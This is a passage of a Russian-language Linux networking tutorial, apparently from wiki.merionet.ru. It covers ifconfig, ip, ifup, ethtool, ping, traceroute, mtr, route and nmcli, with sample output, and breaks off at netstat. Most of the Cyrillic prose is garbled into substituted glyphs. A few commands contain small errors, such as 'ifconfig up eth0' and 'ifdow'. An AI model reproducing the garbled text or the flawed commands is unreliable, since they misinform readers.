ʆʙʳʯʥʳʝ ʟʘʜʘʯʠ ʩʠʩʪʝʤʥʦʛʦ ʘʜʤʠʥʠʩʪʨʘʪʦʨʘ ʚʢʣʶʯʘʶʪ ʥʘʩʪʨʦʡʢʫ, ʦʙʩʣʫʞʠʚʘʥʠʝ, 

ʫʩʪʨʘʥʝʥʠʝ ʥʝʧʦʣʘʜʦʢ ʠ ʫʧʨʘʚʣʝʥʠʝ ʩʝʨʚʝʨʘʤʠ ʠ ʩʝʪʷʤʠ ʚ ʮʝʥʪʨʘʭ ʦʙʨʘʙʦʪʢʠ 

ʜʘʥʥʳʭ. ɺ Linux ʩʫʱʝʩʪʚʫʝʪ ʤʥʦʞʝʩʪʚʦ ʠʥʩʪʨʫʤʝʥʪʦʚ ʠ ʫʪʠʣʠʪ, ʧʨʝʜʥʘʟʥʘʯʝʥʥʳʭ 

ʜʣʷ ʘʜʤʠʥʠʩʪʨʘʪʠʚʥʳʭ ʮʝʣʝʡ. 

ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʨʘʩʩʤʦʪʨʠʤ ʥʝʢʦʪʦʨʳʝ ʠʟ ʥʘʠʙʦʣʝʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʭ 

ʠʥʩʪʨʫʤʝʥʪʦʚ ʠ ʫʪʠʣʠʪ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ ʫʧʨʘʚʣʝʥʠʷ ʩʝʪʷʤʠ ʚ Linux ʚ 

ʨʘʟʣʠʯʥʳʭ ʢʘʪʝʛʦʨʠʷʭ. ʄʳ ʦʙʲʷʩʥʠʤ ʥʝʢʦʪʦʨʳʝ ʨʘʩʧʨʦʩʪʨʘʥʝʥʥʳʝ ʧʨʠʤʝʨʳ 

ʠʩʧʦʣʴʟʦʚʘʥʠʷ, ʢʦʪʦʨʳʝ ʟʥʘʯʠʪʝʣʴʥʦ ʫʧʨʦʩʪʷʪ ʫʧʨʘʚʣʝʥʠʝ ʩʝʪʴʶ ʚ Linux.

 

ȼɅɉɊɈɋɄɂɅɊɓ ɅȿɉɊɈɆɢȺȼ. ɇɆȼɉȺȿ. ɋɉɊɈȿɅɂɅȼɗ ɅɂɇɆɣȿɠɆȺ ȼ ɆɊɣȿɠȺȼ 

ɉɂɊȼ 

1. ʂʦʤʘʥʜʘ ifconfig 

ifconfig - ʵʪʦ ʠʥʩʪʨʫʤʝʥʪ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ (CLI) ʜʣʷ ʥʘʩʪʨʦʡʢʠ ʩʝʪʝʚʦʛʦ 

ʠʥʪʝʨʬʝʡʩʘ, ʢʦʪʦʨʳʡ ʪʘʢʞʝ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʠʥʠʮʠʘʣʠʟʘʮʠʠ ʠʥʪʝʨʬʝʡʩʦʚ ʚʦ 

ʚʨʝʤʷ ʟʘʛʨʫʟʢʠ ʩʠʩʪʝʤʳ. ʂʦʛʜʘ ʩʝʨʚʝʨ ʟʘʧʫʱʝʥ ʠ ʨʘʙʦʪʘʝʪ, ifconfig ʤʦʞʥʦ 
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ʠʩʧʦʣʴʟʦʚʘʪʴ ʜʣʷ ʥʘʟʥʘʯʝʥʠʷ IP-ʘʜʨʝʩʘ ʠʥʪʝʨʬʝʡʩʫ ʠ ʚʢʣʶʯʝʥʠʷ ʠʣʠ ʦʪʢʣʶʯʝʥʠʷ 

ʠʥʪʝʨʬʝʡʩʘ ʧʦ ʪʨʝʙʦʚʘʥʠʶ. 

Ifconfig ʪʘʢʞʝ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʧʨʦʩʤʦʪʨʘ ʩʪʘʪʫʩʘ IP-ʘʜʨʝʩʘ, MAC-ʘʜʨʝʩʘ, ʘ 

ʪʘʢʞʝ ʨʘʟʤʝʨʘ MTU (ʤʘʢʩʠʤʘʣʴʥʘʷ ʝʜʠʥʠʮʘ ʧʝʨʝʜʘʯʠ - Maximum Transmission 

Unit) ʪʝʢʫʱʠʭ ʘʢʪʠʚʥʳʭ ʠʥʪʝʨʬʝʡʩʦʚ. ʊʘʢʠʤ ʦʙʨʘʟʦʤ, ifconfig ʧʦʣʝʟʝʥ ʜʣʷ ʦʪʣʘʜʢʠ 

ʠʣʠ ʥʘʩʪʨʦʡʢʠ ʩʠʩʪʝʤʳ. 

ɺʦʪ ʧʨʠʤʝʨ ʜʣʷ ʦʪʦʙʨʘʞʝʥʠʷ ʩʪʘʪʫʩʘ ʚʩʝʭ ʘʢʪʠʚʥʳʭ ʩʝʪʝʚʳʭ ʠʥʪʝʨʬʝʡʩʦʚ. 

$ ifconfig  

 

enp1s0    Link  encap : Ethernet   HWaddr 28: d2: 44: eb: bd: 98   

          inet addr : 192.168 . 0.103   Bcast : 192.168 . 0.255   Mask: 255.255 . 255.0  

          inet6 addr :  fe80 :: 8f0c : 7825 : 8057 : 5eec / 64 Scope : Link  

          UP BROADCAST RUNNING MULTICAST  MTU: 1500   Metric : 1 

          RX packets : 169854  errors : 0 dropped : 0 overruns : 0 frame : 0 

          TX packets : 125995  errors : 0 dropped : 0 overruns : 0 carrier : 0 

          collisions : 0 txqueuelen : 1000   

          RX bytes : 174146270  ( 174.1  MB)   TX bytes : 21062129  ( 21.0  MB)  
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lo        Link  encap : Local  Loopback    

          inet addr : 127.0 . 0.1   Mask: 255.0 . 0.0  

          inet6 addr :  :: 1/ 128  Scope : Host  

          UP LOOPBACK RUNNING  MTU: 65536   Metric : 1 

          RX packets : 15793  errors : 0 dropped : 0 overruns : 0 frame : 0 

          TX packets : 15793  errors : 0 dropped : 0 overruns : 0 carrier : 0 

          collisions : 0 txqueuelen : 1  

          RX bytes : 2898946  ( 2.8  MB)   TX bytes : 2898946  ( 2.8  MB)  

ʏʪʦʙʳ ʚʳʚʝʩʪʠ ʩʧʠʩʦʢ ʚʩʝʭ ʜʦʩʪʫʧʥʳʭ ʥʘ ʜʘʥʥʳʡ ʤʦʤʝʥʪ ʠʥʪʝʨʬʝʡʩʦʚ, 

ʚʢʣʶʯʝʥʥʳʭ ʠʣʠ ʚʳʢʣʶʯʝʥʥʳʭ, ʠʩʧʦʣʴʟʫʡʪʝ ʬʣʘʛ -a. 

$ ifconfig - a   

ɼʣʷ ʪʦʛʦ ʯʪʦʙʳ ʥʘʟʥʘʯʠʪʴ IP-ʘʜʨʝʩ ʠʥʪʝʨʬʝʡʩʫ, ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

$ sudo ifconfig eth0 192.168 . 56.5  netmask 255.255 . 255.0  

ʏʪʦʙʳ ʘʢʪʠʚʠʨʦʚʘʪʴ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ, ʚʚʝʜʠʪʝ: 

$ sudo ifconfig up eth0  
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ʏʪʦʙʳ ʜʝʘʢʪʠʚʠʨʦʚʘʪʴ ʠʣʠ ʦʪʢʣʶʯʠʪʴ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ, ʚʚʝʜʠʪʝ: 

$ sudo ifconfig down eth0  

ɺʥʠʤʘʥʠʝ: ʍʦʪʷ ifconfig - ʦʪʣʠʯʥʳʡ ʠʥʩʪʨʫʤʝʥʪ, ʪʝʧʝʨʴ ʦʥ ʫʩʪʘʨʝʣ (deprecated), ʠ 

ʝʛʦ ʟʘʤʝʥʦʡ ʷʚʣʷʝʪʩʷ ʢʦʤʘʥʜʘ ip, ʦ ʢʦʪʦʨʦʡ ʤʳ ʨʘʩʩʢʘʞʝʤ ʥʠʞʝ. 

2. ʂʦʤʘʥʜʘ IP 

ʂʦʤʘʥʜʘ IP - ʝʱʝ ʦʜʥʘ ʧʦʣʝʟʥʘʷ ʫʪʠʣʠʪʘ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ ʦʪʦʙʨʘʞʝʥʠʷ ʠ 

ʫʧʨʘʚʣʝʥʠʷ ʤʘʨʰʨʫʪʠʟʘʮʠʝʡ, ʩʝʪʝʚʳʤʠ ʫʩʪʨʦʡʩʪʚʘʤʠ, ʠʥʪʝʨʬʝʡʩʘʤʠ. ʕʪʦ ʟʘʤʝʥʘ 

ʜʣʷ ifconfig ʠ ʤʥʦʛʠʭ ʜʨʫʛʠʭ ʩʝʪʝʚʳʭ ʢʦʤʘʥʜ. 

ʉʣʝʜʫʶʱʘʷ ʢʦʤʘʥʜʘ ʧʦʢʘʞʝʪ IP-ʘʜʨʝʩ ʠ ʜʨʫʛʫʶ ʠʥʬʦʨʤʘʮʠʶ ʦ ʩʝʪʝʚʦʤ 

ʠʥʪʝʨʬʝʡʩʝ. 

$ ip addr show  

 

1:  lo :  mtu 65536  qdisc noqueue state UNKNOWN group  default  qlen 1 

    link / loopback 00: 00: 00: 00: 00: 00 brd 00: 00: 00: 00: 00: 00 

    inet 127.0 . 0.1 / 8 scope host lo  

       valid_lft forever preferred_lft forever  

    inet6 :: 1/ 128  scope host  
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       valid_lft forever preferred_lft forever  

2:  enp1s0 :  mtu 1500  qdisc pfifo_fast state UP group  default  qlen 1000  

    link / ether 28: d2: 44: eb: bd: 98 brd ff : ff : ff : ff : ff : ff  

    inet 192.168 . 0.103 / 24 brd 192.168 . 0.255  scope global  dynamic  enp1s0  

       valid_lft 5772sec  preferred_lft 5772sec  

    inet6 fe80 :: 8f0c : 7825 : 8057 : 5eec / 64 scope link  

       valid_lft forever preferred_lft forever  

3:  wlp2s0 :  mtu 1500  qdisc noop state DOWN group  default  qlen 1000  

    link / ether 38: b1: db: 7c : 78: c7 brd ff : ff : ff : ff : ff : ff  

...  

ʏʪʦʙʳ ʚʨʝʤʝʥʥʦ ʥʘʟʥʘʯʠʪʴ IP-ʘʜʨʝʩ ʦʧʨʝʜʝʣʝʥʥʦʤʫ ʩʝʪʝʚʦʤʫ ʠʥʪʝʨʬʝʡʩʫ (eth0), 

ʚʚʝʜʠʪʝ: 

$ sudo ip addr add 192.168 . 56.1  dev eth0  

ʏʪʦʙʳ ʫʜʘʣʠʪʴ ʥʘʟʥʘʯʝʥʥʳʡ IP-ʘʜʨʝʩ c ʩʝʪʝʚʦʛʦ ʠʥʪʝʨʬʝʡʩʘ (eth0), ʚʚʝʜʠʪʝ: 

$ sudo ip addr del  192.168 . 56.15 / 24 dev eth0  

ʏʪʦʙʳ ʧʦʢʘʟʘʪʴ ʪʝʢʫʱʫʶ ʪʘʙʣʠʮʫ ʩʦʩʝʜʝʡ ʚ ʷʜʨʝ, ʚʚʝʜʠʪʝ: 
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$ ip neigh  

192.168 . 0.1  dev enp1s0 lladdr 10: fe : ed: 3d: f3 : 82 REACHABLE 

3. ʂʦʤʘʥʜʳ ifup, ifdown, ʠ ifquery 

ʂʦʤʘʥʜʘ ifup ʘʢʪʠʚʠʨʫʝʪ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ, ʜʝʣʘʷ ʝʛʦ ʜʦʩʪʫʧʥʳʤ ʜʣʷ ʧʝʨʝʜʘʯʠ 

ʠ ʧʦʣʫʯʝʥʠʷ ʜʘʥʥʳʭ. 

$ sudo ifup eth0  

ʂʦʤʘʥʜʘ ifdow ʦʪʢʣʶʯʘʝʪ ʩʝʪʝʚʦʡ ʠʥʪʝʨʬʝʡʩ, ʩʦʭʨʘʥʷʷ ʝʛʦ ʚ ʩʦʩʪʦʷʥʠʠ, ʢʦʛʜʘ ʦʥ 

ʥʝ ʤʦʞʝʪ ʧʝʨʝʜʘʚʘʪʴ ʠʣʠ ʧʦʣʫʯʘʪʴ ʜʘʥʥʳʝ. 

$ sudo ifdown eth0  

ʂʦʤʘʥʜʘ ifquery ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʘʥʘʣʠʟʘ ʢʦʥʬʠʛʫʨʘʮʠʠ ʩʝʪʝʚʦʛʦ ʠʥʪʝʨʬʝʡʩʘ, 

ʯʪʦ ʧʦʟʚʦʣʷʝʪ ʧʦʣʫʯʘʪʴ ʦʪʚʝʪʳ ʥʘ ʟʘʧʨʦʩʳ ʦ ʪʦʤ, ʢʘʢ ʦʥ ʥʘʩʪʨʦʝʥ ʚ ʜʘʥʥʳʡ 

ʤʦʤʝʥʪ. 

$ sudo ifquery eth0  

4. ʂʦʤʘʥʜʘ Ethtool 

ethtool - ʵʪʦ ʫʪʠʣʠʪʘ ʟʘʧʨʦʩʘ ʠ ʠʟʤʝʥʝʥʠʷ ʧʘʨʘʤʝʪʨʦʚ ʢʦʥʪʨʦʣʣʝʨʘ ʩʝʪʝʚʦʛʦ 

ʠʥʪʝʨʬʝʡʩʘ ʠ ʜʨʘʡʚʝʨʦʚ ʫʩʪʨʦʡʩʪʚ. ɺ ʧʨʠʚʝʜʝʥʥʦʤ ʥʠʞʝ ʧʨʠʤʝʨʝ ʧʦʢʘʟʘʥʦ 

ʠʩʧʦʣʴʟʦʚʘʥʠʝ ethtool ʠ ʢʦʤʘʥʜʳ ʜʣʷ ʧʨʦʩʤʦʪʨʘ ʧʘʨʘʤʝʪʨʦʚ ʩʝʪʝʚʦʛʦ 

ʠʥʪʝʨʬʝʡʩʘ. 

$ sudo ethtool enp0s3  
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Settings  for  enp0s3 :  

 Supported  ports :  [  TP ]  

 Supported  link modes :    10baseT / Half  10baseT / Full   

                         100baseT / Half  100baseT / Full   

                         1000baseT / Full   

 Supported  pause frame use :  No 

 Supports  auto - negotiation :  Yes 

 Advertised  link modes :   10baseT / Half  10baseT / Full   

                         100baseT / Half  100baseT / Full   

                         1000baseT / Full   

 Advertised  pause frame use :  No 

 Advertised  auto - negotiation :  Yes 

 Speed:  1000Mb/ s 

 Duplex :  Full  

 Port :  Twisted  Pair  
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 PHYAD:  0 

 Transceiver :  internal  

 Auto - negotiation :  on 

 MDI- X:  off ( auto )  

 Supports  Wake- on:  umbg 

 Wake- on:  d 

 Current  message level :  0x00000007  ( 7)  

          drv probe link  

 Link  detected :  yes  

5. ʂʦʤʘʥʜʘ Ping 

ping (Packet INternet Groper) ï ʵʪʦ ʚʩʝʤʠ ʠʟʚʝʩʪʥʘʷ ʫʪʠʣʠʪʘ, ʦʙʳʯʥʦ 

ʠʩʧʦʣʴʟʫʝʤʘʷ ʜʣʷ ʪʝʩʪʠʨʦʚʘʥʠʷ ʩʦʝʜʠʥʝʥʠʷ ʤʝʞʜʫ ʜʚʫʤʷ ʩʠʩʪʝʤʘʤʠ ʚ ʩʝʪʠ (LAN 

ʠʣʠ WAN). Ping ʠʩʧʦʣʴʟʫʝʪ ʧʨʦʪʦʢʦʣ ICMP (Internet Control Message Protocol) ʜʣʷ 

ʩʚʷʟʠ ʩ ʫʟʣʘʤʠ ʚ ʩʝʪʠ. 

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʧʦʜʢʣʶʯʝʥʠʝ ʢ ʜʨʫʛʦʤʫ ʫʟʣʫ, ʧʨʦʩʪʦ ʫʢʘʞʠʪʝ ʝʛʦ IP ʠʣʠ ʠʤʷ 

ʭʦʩʪʘ, ʥʘʧʨʠʤʝʨ: 

$ ping 192.168 . 0.103  
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PING 192.168 . 0.103  ( 192.168 . 0.103 )  56( 84)  bytes of data .  

64 bytes from  192.168 . 0.103 :  icmp_seq =1 ttl =64 time =0.191  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =2 ttl =64 time =0.156  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =3 ttl =64 time =0.179  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =4 ttl =64 time =0.182  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =5 ttl =64 time =0.207  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =6 ttl =64 time =0.157  ms 

^C 

---  192.168 . 0.103  ping statistics ---  

6 packets transmitted ,  6 received ,  0% packet loss ,  time 5099ms 

rtt min / avg / max/ mdev = 0.156 / 0.178 / 0.207 / 0.023  ms 

ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʫʢʘʟʘʪʴ ping ʚʳʭʦʜʠʪʴ ʧʦʩʣʝ ʫʢʘʟʘʥʥʦʛʦ ʢʦʣʠʯʝʩʪʚʘ ʧʘʢʝʪʦʚ 

ECHO_REQUEST, ʠʩʧʦʣʴʟʫʷ ʬʣʘʛ -c, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ: 

$ ping - c 4 192.168 . 0.103  
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PING 192.168 . 0.103  ( 192.168 . 0.103 )  56( 84)  bytes of data .  

64 bytes from  192.168 . 0.103 :  icmp_seq =1 ttl =64 time =1.09  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =2 ttl =64 time =0.157  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =3 ttl =64 time =0.163  ms 

64 bytes from  192.168 . 0.103 :  icmp_seq =4 ttl =64 time =0.190  ms 

 

---  192.168 . 0.103  ping statistics ---  

4 packets transmitted ,  4 received ,  0% packet loss ,  time 3029ms 

rtt min / avg / max/ mdev = 0.157 / 0.402 / 1.098 / 0.402  ms 

6. ʂʦʤʘʥʜʘ Traceroute 

Traceroute - ʵʪʦ ʫʪʠʣʠʪʘ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ ʦʪʩʣʝʞʠʚʘʥʠʷ ʧʦʣʥʦʛʦ ʧʫʪʠ ʦʪ 

ʚʘʰʝʡ ʣʦʢʘʣʴʥʦʡ ʩʠʩʪʝʤʳ ʜʦ ʜʨʫʛʦʡ ʩʝʪʝʚʦʡ ʩʠʩʪʝʤʳ. Traceroute ʦʪʦʙʨʘʞʘʝʪ 

ʢʦʣʠʯʝʩʪʚʦ ʭʦʧʦʚ (IP-ʘʜʨʝʩʦʚ ʤʘʨʰʨʫʪʠʟʘʪʦʨʘ) ʧʦ ʪʦʤʫ ʧʫʪʠ, ʧʦ ʢʦʪʦʨʦʤʫ ʚʳ 

ʠʜʝʪʝ, ʯʪʦʙʳ ʜʦʙʨʘʪʴʩʷ ʜʦ ʢʦʥʝʯʥʦʛʦ ʩʝʨʚʝʨʘ. ʕʪʦ ʧʨʦʩʪʘʷ ʚ ʠʩʧʦʣʴʟʦʚʘʥʠʠ 

ʫʪʠʣʠʪʘ ʜʣʷ ʫʩʪʨʘʥʝʥʠʷ ʥʝʧʦʣʘʜʦʢ ʚ ʩʝʪʠ ʧʦʩʣʝ ʢʦʤʘʥʜʳ ping. 

ɺ ʵʪʦʤ ʧʨʠʤʝʨʝ ʤʳ ʦʪʩʣʝʞʠʚʘʝʤ ʤʘʨʰʨʫʪ, ʧʦ ʢʦʪʦʨʦʤʫ ʧʘʢʝʪʳ ʦʪʧʨʘʚʣʷʶʪʩʷ ʠʟ 

ʣʦʢʘʣʴʥʦʡ ʩʠʩʪʝʤʳ ʥʘ ʦʜʠʥ ʠʟ ʩʝʨʚʝʨʦʚ Google ʩ IP-ʘʜʨʝʩʦʤ 216.58.204.46: 

$ traceroute 216.58 . 204.46  
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traceroute to 216.58 . 204.46  ( 216.58 . 204.46 ),  30 hops max ,  60 byte  packets  

 1  gateway ( 192.168 . 0.1 )   0.487  ms  0.277  ms  0.269  ms 

 2  5.5 . 5.215  ( 5.5 . 5.215 )   1.846  ms  1.631  ms  1.553  ms 

 3  *  *  *  

 4  72.14 . 194.226  ( 72.14 . 194.226 )   3.762  ms  3.683  ms  3.577  ms 

 5  108.170 . 248.179  ( 108.170 . 248.179 )   4.666  ms 108.170 . 248.162  

( 108.170 . 248.162 )   4.869  ms 108.170 . 248.194  ( 108.170 . 248.194 )   4.245  ms 

 6  72.14 . 235.133  ( 72.14 . 235.133 )   72.443  ms 209.85 . 241.175  ( 209.85 . 241.175 )   

62.738  ms 72.14 . 235.133  ( 72.14 . 235.133 )   65.809  ms 

 7  66.249 . 94.140  ( 66.249 . 94.140 )   128.726  ms  127.506  ms 209.85 . 248.5  

( 209.85 . 248.5 )   127.330  ms 

 8  74.125 . 251.181  ( 74.125 . 251.181 )   127.219  ms 108.170 . 236.124  

( 108.170 . 236.124 )   212.544  ms 74.125 . 251.181  ( 74.125 . 251.181 )   127.249  ms 

 9  216.239 . 49.134  ( 216.239 . 49.134 )   236.906  ms 209.85 . 242.80  ( 209.85 . 242.80 )   

254.810  ms  254.735  ms 

10  209.85 . 251.138  ( 209.85 . 251.138 )   252.002  ms 216.239 . 43.227  

( 216.239 . 43.227 )   251.975  ms 209.85 . 242.80  ( 209.85 . 242.80 )   236.343  ms 

11  216.239 . 43.227  ( 216.239 . 43.227 )   251.452  ms 72.14 . 234.8  ( 72.14 . 234.8 )   

279.650  ms  277.492  ms 
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12  209.85 . 250.9  ( 209.85 . 250.9 )   274.521  ms  274.450  ms 209.85 . 253.249  

( 209.85 . 253.249 )   270.558  ms 

13  209.85 . 250.9  ( 209.85 . 250.9 )   269.147  ms 209.85 . 254.244  ( 209.85 . 254.244 )   

347.046  ms 209.85 . 250.9  ( 209.85 . 250.9 )   285.265  ms 

14  64.233 . 175.112  ( 64.233 . 175.112 )   344.852  ms 216.239 . 57.236  

( 216.239 . 57.236 )   343.786  ms 64.233 . 175.112  ( 64.233 . 175.112 )   345.273  ms 

15  108.170 . 246.129  ( 108.170 . 246.129 )   345.054  ms  345.342  ms 64.233 . 175.112  

( 64.233 . 175.112 )   343.706  ms 

16  108.170 . 238.119  ( 108.170 . 238.119 )   345.610  ms 108.170 . 246.161  

( 108.170 . 246.161 )   344.726  ms 108.170 . 238.117  ( 108.170 . 238.117 )   345.536  ms 

17  lhr25s12 - in - f46 . 1e100 . net ( 216.58 . 204.46 )   345.382  ms  345.031  ms  

344.884  ms 

7. MTR Network Diagnostic Tool 

MTR - ʵʪʦ ʩʦʚʨʝʤʝʥʥʳʡ ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʜʠʘʛʥʦʩʪʠʢʠ ʩʝʪʠ ʠʟ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ, 

ʢʦʪʦʨʳʡ ʦʙʲʝʜʠʥʷʝʪ ʬʫʥʢʮʠʠ ping ʠ traceroute ʚ ʦʜʥʦʤ ʜʠʘʛʥʦʩʪʠʯʝʩʢʦʤ 

ʠʥʩʪʨʫʤʝʥʪʝ. ɽʛʦ ʚʳʚʦʜ ʦʙʥʦʚʣʷʝʪʩʷ ʚ ʨʝʞʠʤʝ ʨʝʘʣʴʥʦʛʦ ʚʨʝʤʝʥʠ, ʧʦ 

ʫʤʦʣʯʘʥʠʶ, ʧʦʢʘ ʚʳ ʥʝ ʚʳʡʜʝʪʝ ʠʟ ʧʨʦʛʨʘʤʤʳ, ʥʘʞʘʚ q. 

ʉʘʤʳʡ ʧʨʦʩʪʦʡ ʩʧʦʩʦʙ ʟʘʧʫʩʪʠʪʴ mtr - ʫʢʘʟʘʪʴ ʚ ʢʘʯʝʩʪʚʝ ʘʨʛʫʤʝʥʪʘ ʠʤʷ ʭʦʩʪʘ ʠʣʠ 

IP-ʘʜʨʝʩ ʩʣʝʜʫʶʱʠʤ ʦʙʨʘʟʦʤ: 

$ mtr google . com 

ʀʃʀ 

https://wiki.merionet.ru/


 
 

 

144                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

$ mtr 216.58 . 223.78  

ʇʨʠʤʝʨ ʚʳʚʦʜʘ: 

wiki . merionet . ru ( 0.0 . 0.0 )                                    Thu Jul  12 

08: 58: 27 2018  

First  TTL:  1 

 

 Host                                                    Loss %   Snt    Last    

Avg  Best   Wrst  StDev  

 1.  192.168 . 0.1                                          0.0 %    41    0.5    

0.6    0.4    1.7    0.2  

 2.  5.5 . 5.215                                            0.0 %    40    1.9    

1.5    0.8    7.3    1.0  

 3.  209.snat - 111 - 91- 120.hns . net . in                       23.1 %    40    1.9    

2.7    1.7   10.5    1.6  

 4.  72.14 . 194.226                                        0.0 %    40   89.1    

5.2    2.2   89.1   13.7  

 5.  108.170 . 248.193                                      0.0 %    40    3.0    

4.1    2.4   52.4    7.8  

 6.  108.170 . 237.43                                       0.0 %    40    2.9    

5.3    2.5   94.1   14.4  
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 7.  bom07s10- in - f174 . 1e100 . net                          0.0 %    40    2.6    

6.7    2.3   79.7   16.  

ɺʳ ʤʦʞʝʪʝ ʦʛʨʘʥʠʯʠʪʴ ʢʦʣʠʯʝʩʪʚʦ ʧʠʥʛʦʚ ʦʧʨʝʜʝʣʝʥʥʳʤ ʟʥʘʯʝʥʠʝʤ ʠ ʚʳʡʪʠ ʠʟ 

mtr ʧʦʩʣʝ ʵʪʠʭ ʧʠʥʛʦʚ, ʠʩʧʦʣʴʟʫʷ ʬʣʘʛ -c. 

$ mtr - c 4 google . com 

8. ʂʦʤʘʥʜʘ Route 

route - ʵʪʦ ʫʪʠʣʠʪʘ ʜʣʷ ʦʪʦʙʨʘʞʝʥʠʷ ʠʣʠ ʤʘʥʠʧʫʣʠʨʦʚʘʥʠʷ ʪʘʙʣʠʮʝʡ IP-

ʤʘʨʰʨʫʪʠʟʘʮʠʠ ʩʠʩʪʝʤʳ Linux. Route ʚ ʦʩʥʦʚʥʦʤ ʠʩʧʦʣʴʟʫʝʪʩʷ ʜʣʷ ʥʘʩʪʨʦʡʢʠ 

ʩʪʘʪʠʯʝʩʢʠʭ ʤʘʨʰʨʫʪʦʚ ʢ ʢʦʥʢʨʝʪʥʳʤ ʭʦʩʪʘʤ ʠʣʠ ʩʝʪʷʤ ʯʝʨʝʟ ʠʥʪʝʨʬʝʡʩ. 

ɺʳ ʤʦʞʝʪʝ ʧʨʦʩʤʦʪʨʝʪʴ ʪʘʙʣʠʮʫ ʤʘʨʰʨʫʪʠʟʘʮʠʠ IP ʷʜʨʘ, ʥʘʙʨʘʚ: 

$ route  

 

Destination      Gateway          Genmask         Flags  Metric  Ref     Use Iface  

default          gateway         0.0 . 0.0          UG    100     0        0 

enp0s3  

192.168 . 0.0      0.0 . 0.0          255.255 . 255.0    U     100     0        0 

enp0s3  

192.168 . 122.0    0.0 . 0.0          255.255 . 255.0    U     0      0        0 

virbr0  
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ʉʫʱʝʩʪʚʫʝʪ ʤʥʦʞʝʩʪʚʦ ʢʦʤʘʥʜ, ʢʦʪʦʨʳʝ ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʜʣʷ ʥʘʩʪʨʦʡʢʠ 

ʤʘʨʰʨʫʪʠʟʘʮʠʠ. ɺʦʪ ʥʝʩʢʦʣʴʢʦ ʧʦʣʝʟʥʳʭ. 

ɼʦʙʘʚʠʪʴ ʰʣʶʟ ʧʦ ʫʤʦʣʯʘʥʠʶ ʚ ʪʘʙʣʠʮʫ ʤʘʨʰʨʫʪʠʟʘʮʠʠ: 

$ sudo route add default  gw  

 

ɼʦʙʘʚʠʪʴ ʩʝʪʝʚʦʡ ʤʘʨʰʨʫʪ ʚ ʪʘʙʣʠʮʫ ʤʘʨʰʨʫʪʠʟʘʮʠʠ: 

$ sudo route add - net gw  

 

ʋʜʘʣʠʪʴ ʢʦʥʢʨʝʪʥʫʶ ʟʘʧʠʩʴ ʤʘʨʰʨʫʪʘ ʠʟ ʪʘʙʣʠʮʳ ʤʘʨʰʨʫʪʠʟʘʮʠʠ: 

$ sudo route del  - net  

 

9. ʂʦʤʘʥʜʘ Nmcli 

Nmcli - ʵʪʦ ʧʨʦʩʪʦʡ ʚ ʠʩʧʦʣʴʟʦʚʘʥʠʠ ʠʥʩʪʨʫʤʝʥʪ ʩ ʧʦʜʜʝʨʞʢʦʡ ʩʮʝʥʘʨʠʝʚ, 

ʧʦʟʚʦʣʷʶʱʠʡ ʩʦʦʙʱʘʪʴ ʦ ʩʦʩʪʦʷʥʠʠ ʩʝʪʠ, ʫʧʨʘʚʣʷʪʴ ʩʝʪʝʚʳʤʠ ʧʦʜʢʣʶʯʝʥʠʷʤʠ ʠ 

ʫʧʨʘʚʣʷʪʴ NetworkManager. 

ʏʪʦʙʳ ʧʨʦʩʤʦʪʨʝʪʴ ʚʩʝ ʚʘʰʠ ʩʝʪʝʚʳʝ ʫʩʪʨʦʡʩʪʚʘ, ʚʚʝʜʠʪʝ: 

$ nmcli dev status  
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DEVICE      TYPE      STATE      CONNECTION          

virbr0      bridge    connected  virbr0              

enp0s3      ethernet  connected  Wired  connection 1 

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʩʝʪʝʚʳʝ ʧʦʜʢʣʶʯʝʥʠʷ ʚ ʚʘʰʝʡ ʩʠʩʪʝʤʝ, ʚʚʝʜʠʪʝ: 

$ nmcli con show  

 

Wired  connection 1  bc3638ff - 205a - 3bbb - 8845 - 5a4b0f7eef91   802 - 3- ethernet  

enp0s3  

virbr0              00f5d53e - fd51 - 41d3 - b069 - bdfd2dde062b  bridge          

virbr0  

ʏʪʦʙʳ ʫʚʠʜʝʪʴ ʪʦʣʴʢʦ ʘʢʪʠʚʥʳʝ ʩʦʝʜʠʥʝʥʠʷ, ʜʦʙʘʚʴʪʝ ʬʣʘʛ -a. 

$ nmcli con show - a 

 

ȼɅɉɊɈɋɄɂɅɊɓ ɉɂɊɂɁɆɝɆ ɉȺȿɅȼɈɆɁȿɅȼɗ ȼ ȿɅȿɣȼɡȿ ɇɈɆȼɡɁɆɠȼɊɂɣɔɅɆɉɊȼ 

10.ʂʦʤʘʥʜʘ Netstat 
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netstat - ʵʪʦ ʠʥʩʪʨʫʤʝʥʪ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ, ʢʦʪʦʨʳʡ ʦʪʦʙʨʘʞʘʝʪ ʧʦʣʝʟʥʫʶ 

